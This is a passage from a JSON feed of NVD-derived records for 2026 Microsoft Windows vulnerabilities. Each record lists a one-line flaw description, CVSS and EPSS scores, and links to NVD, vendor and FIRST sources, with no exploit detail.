CVE-2026-96914","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96914","type":"primary","publishedAt":"2026-10-13T19:22:02.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96914","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96913","cveId":"CVE-2026-96913","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:02.197Z","updatedAt":"2026-10-22T18:58:56.010Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96913","asOf":"2026-10-22T18:58:56.010Z"},"epss":{"probability":0.00367,"percentile":0.30325,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96913&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96913","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96913","type":"primary","publishedAt":"2026-10-13T19:22:02.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96913","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96913&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96913, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96912","cveId":"CVE-2026-96912","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Client License Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Client License Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Client License Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:02.050Z","updatedAt":"2026-10-22T19:00:23.227Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96912","asOf":"2026-10-22T19:00:23.227Z"},"epss":{"probability":0.00353,"percentile":0.28696,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96912&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96912","type":"primary","publishedAt":"2026-10-13T19:22:02.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96912","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96912&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96912, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96911","cveId":"CVE-2026-96911","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:01.867Z","updatedAt":"2026-10-22T19:00:11.840Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96911","asOf":"2026-10-22T19:00:11.840Z"},"epss":{"probability":0.00548,"percentile":0.4562,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96911","type":"primary","publishedAt":"2026-10-13T19:22:01.867Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96911","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96868","cveId":"CVE-2026-96868","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:01.383Z","updatedAt":"2026-10-26T15:29:30.107Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96868","asOf":"2026-10-26T15:29:30.107Z"},"epss":{"probability":0.00252,"percentile":0.16478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96868&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96868","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96868","type":"primary","publishedAt":"2026-10-13T19:22:01.383Z","checkedAt":"2026-10-26T16:50:55.493Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96868","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96868&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96868, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96867","cveId":"CVE-2026-96867","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows NTFS allows an authorized attacker to execute code locally.","summary":"Out-of-bounds read in Windows NTFS allows an authorized attacker to execute code locally.","detail":"Out-of-bounds read in Windows NTFS allows an authorized attacker to execute code locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:22:01.200Z","updatedAt":"2026-10-26T15:37:41.573Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96867","asOf":"2026-10-26T15:37:41.573Z"},"epss":{"probability":0.00318,"percentile":0.24519,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96867","type":"primary","publishedAt":"2026-10-13T19:22:01.200Z","checkedAt":"2026-10-26T16:50:55.493Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96867","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96856","cveId":"CVE-2026-96856","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Management Instrumentation allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:59.333Z","updatedAt":"2026-10-20T00:32:11.250Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96856","asOf":"2026-10-20T00:32:11.250Z"},"epss":{"probability":0.00311,"percentile":0.23699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96856","type":"primary","publishedAt":"2026-10-13T19:21:59.333Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96856","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96852","cveId":"CVE-2026-96852","aliases":[],"kind":"vulnerability","title":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:58.663Z","updatedAt":"2026-10-16T19:22:42.083Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96852","asOf":"2026-10-16T19:22:42.083Z"},"epss":{"probability":0.00279,"percentile":0.20194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96852&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96852","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96852","type":"primary","publishedAt":"2026-10-13T19:21:58.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96852","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96852&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96852, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96847","cveId":"CVE-2026-96847","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in WebDAV allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:57.890Z","updatedAt":"2026-10-16T19:27:26.900Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96847","asOf":"2026-10-16T19:27:26.900Z"},"epss":{"probability":0.00353,"percentile":0.28697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96847","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96847","type":"primary","publishedAt":"2026-10-13T19:21:57.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96847","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96844","cveId":"CVE-2026-96844","aliases":[],"kind":"vulnerability","title":"Integer underflow (wrap or wraparound) in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges over an adjacent network.","summary":"Integer underflow (wrap or wraparound) in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges over an adjacent network.","detail":"Integer underflow (wrap or wraparound) in Microsoft Bluetooth Driver allows an authorized attacker to elevate privileges over an adjacent network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:57.530Z","updatedAt":"2026-10-16T19:29:19.293Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96844","asOf":"2026-10-16T19:29:19.293Z"},"epss":{"probability":0.00533,"percentile":0.44729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96844&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96844","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96844","type":"primary","publishedAt":"2026-10-13T19:21:57.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96844","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96844&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96844, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96843","cveId":"CVE-2026-96843","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in WebDAV allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:57.353Z","updatedAt":"2026-10-16T19:30:38.943Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96843","asOf":"2026-10-16T19:30:38.943Z"},"epss":{"probability":0.00353,"percentile":0.28694,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96843&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96843","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96843","type":"primary","publishedAt":"2026-10-13T19:21:57.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96843","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96843&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96843, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96325","cveId":"CVE-2026-96325","aliases":[],"kind":"vulnerability","title":"Missing reference to active allocated resource in Windows SMB Server allows an unauthorized attacker to deny service over a network.","summary":"Missing reference to active allocated resource in Windows SMB Server allows an unauthorized attacker to deny service over a network.","detail":"Missing reference to active allocated resource in Windows SMB Server allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 